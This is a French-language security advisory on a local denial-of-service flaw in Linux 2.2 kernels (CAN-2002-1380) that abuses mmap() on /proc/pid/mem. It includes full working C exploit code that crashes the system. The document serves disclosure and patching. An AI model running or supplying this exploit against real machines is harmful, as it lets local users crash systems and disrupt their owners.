Linux Kernel 2.2 mmap() Local Denial of Service Vulnerability

 Date de Publication: 2003-03-28
 Bugtraq ID: 6420
 CVE :
CAN-2002-1380
 Titre: Linux Kernel 2.2 mmap() Local Denial of Service Vulnerability
 Class:
Design Error
 Exploitable à distance : Non
 Exploitable en local : Oui

 
  * Description de la vulnérabilité *

 Une vulnérabilité localement exploitable est présente dans kernel Linux, les versions 2.2.x sont vulnérables et le système crash et nécessite un reboot manuel .


  * Description Technique - Exploit *

 L'interface de /proc/pid/mem est conçue pour permettre à une application, dans certaines conditions, d'accéder à la mémoire d'une autre application d'une manière commode.

 Grâce à cette vulnérabilité il est possible qu'un utilisateur emploie l'interface de mmap() pour demander l'accès aux pages de mémoire qui sont non-lisibles au processus tracé lui-même.

 -------------------- Exploit Code -------------------

   #define PAGES 10

   #include <asm/page.h>
   #include <sys/mman.h>
   #include <unistd.h>
   #include <stdio.h>
   #include <fcntl.h>
   #include <sys/ptrace.h>

   int main() {
     int ad1,ad2,zer,mem,pid,i;
     zer=open("/dev/zero",O_RDONLY);
     ad1=(int)mmap(0,PAGES*PAGE_SIZE,0,MAP_PRIVATE,zer,0);
     pid=getpid();
     if (!fork()) {
       char p[64];       ptrace(PTRACE_ATTACH,pid,0,0);
       sleep(1);
       sprintf(p,"/proc/%d/mem",pid);
       mem=open(p,O_RDONLY);
       ad2=(int)mmap(0,PAGES*PAGE_SIZE,PROT_READ,MAP_PRIVATE,mem,ad1);
       write(1,(char*)ad2,PAGES*PAGE_SIZE);
     }
     sleep(100);
     return 0;
   }


  * Versions Vulnérables *
 
 Tous les systèmes Linux fonctionnant avec une version kernel 2.2.x.
 

  * Solution *
 
 Utiliser les mises à jour.
 
  * Crédits *
 
 Cette faille a été découverte par Michal Zalewski et l'équipe de  "RAZOR" (Décembre 2002).